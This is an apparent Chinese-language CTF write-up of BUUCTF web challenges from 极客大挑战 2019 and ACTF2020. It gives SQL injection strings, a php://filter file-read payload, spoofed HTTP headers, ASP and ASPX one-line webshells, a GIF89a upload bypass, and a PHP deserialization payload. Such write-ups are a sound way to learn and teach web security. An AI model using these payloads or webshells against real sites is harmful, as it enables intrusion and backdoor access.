[极客大挑战 2019]EasySQL
由题目可得做题方向
永真表达式
1 | admin' or '1'='1 |
注意:只需要密码维持此式即可解出
使用万能账号
也需判断,和永真表达式有什么区别的话,在页面进行输入的时候一个是要求用户名输入,一个是密码。(get与post时请输入全)
1 | a' or true # |
密码随便输入即可
补
从这里找到的表
🤔现在我们开始倒推(为什么是倒推,我看其他师傅的wp做出来的),为啥要用单引号进行输入,我们使用get方式(方便)进行判断!
1 | 如','),'')等 |
首先随便输入用户和密码,使url为图下模式
在用户名或密码处输入单引号界面异常,存在sql注入
即可通过改变url后得到flag(get)
1 | username=admin' or '1'='1&password=admin' or '1'='1 |
[极客大挑战 2019]Havefun
打开源码检查,有一部分php注释,应该有用
1 | get传入?cat=dog |
[极客大挑战 2019]Secret File
通过查看源码我们可得/Archive_room.php
若直接点击,可得
通过源代码可得/action.php
使用软件抓个包
发现有个注释secr3t.php
,get入url,
根据提示
嗯…不会了,从题目下手,可得
接着观察源代码
GET一个file参数过去,但是不能含有…/、tp、input、data,包括这些的大小写
现在需了解一个新概念:php://伪协议,找到个学长博客/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
该伪协议读取源代码并进行base64编码输出
可得
[极客大挑战 2019]Knife
可能与菜刀工具有关,软件又又又坏了,装软件去了,win11之后限权增加,用管理员方式打开就好了
添加数据!
做完题,wp隔了一段时间,才更新,不错,都不记得了。
[极客大挑战 2019]LoveSQL
首先用第一题的方法,都不对!找了个博客
[极客大挑战 2019]Http
首页没思路,找源代码
可点,点击后存在提示,它需要我们从https://Sycsecret.buuoj.cn来访问它
所以要进行伪造来绕过了
1 | referer:https://Sycsecret.buuoj.cn |
它说要用Syclover browser,则修改User-Agent为Syclover browser
本地ip链接,X-Forwarded-For:127.0.0.1(一致)
注意:不要放最后。
[极客大挑战 2019]Upload
php的一句话木马:
asp的一句话是: <%eval request (“pass”)%>
aspx的一句话是: <%@ Page Language=”Jscript”%> <%eval(Request.Item[“pass”],”unsafe”);%>
这个题GIF的文件头绕过图片判断,GIF89a
顺手补了一下一句话木马的原理
嗯,,,,,,印象一般般,看题,借鉴文章
随意上传一个,首先得到提示,不是图像
这里是phtml格式的,对.phtml文件的解释: 是一个嵌入了PHP脚本的html 页面。
1 | GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查, |
1 | GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可 |
抓包,修改后缀,试到phtml可以(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)
放包后可得提示
图片的保存路径了,一般都是/upload查找含有的文件,访问,
找到上传文件名,打开即可
[极客大挑战 2019]PHP 1
不得不说,这个猫猫挺可爱的!
进网址,把压缩包下载下来
flag.php中出现一个伪造flag
index.php,显示包含class.php文件,并且反序列化
1 | class Name{ |
1 | __wakeup() //将在反序列化之后立即调用 |
1 | __construct() //当对象被创建即new之前,会触发进行初始化,但在unserialize()时是不会自动调用的。 |
1 | __destruct()//与__construct()相对应的函数——析构函数。析构函数的作用和构造函数正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。 |
还不太会写,我到网上看了几个
1 |
|
或
1 |
|
这个有些许问题,下周出一个反序列对比专题,
Nameusername与前面的14不对应,少了两个字符,而Namepassword也是少了两个字符,username和password变量是private类型,变量中的类名前后会有空白符,而复制易丢失,所以还需要加上%00,同时要绕过_wakeup(),还要将Name后面的数字修改为大于2的数。
1 | ?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} |
[极客大挑战 2019]BuyFlag
查看网页源代码
1 | is_numeric(),判断输入是否是数字的 |
利用php的弱类型比较,用404a或者404%20均可,不会被认为是数字
他说我没钱
又嫌弃钱太长,尝试科学表达式money=1e10
在网上看到还可以money[]=4
,原理忘记保存了,密码post,个人习惯认为插件更方便,注意:Cookie中的user表示身份,
尝试抓包
POST更改不成功!
[极客大挑战 2019]这个专题到此结束其余两个题太难,还有sql几个打算放一起整一个SQL专栏。
[ACTF2020 新生赛]Include
图片来自参考文章!文章2!
用php伪协议进行读取flag.php文件,base64编码的方式读文件flag.php
64解码!
补充!
1 |
|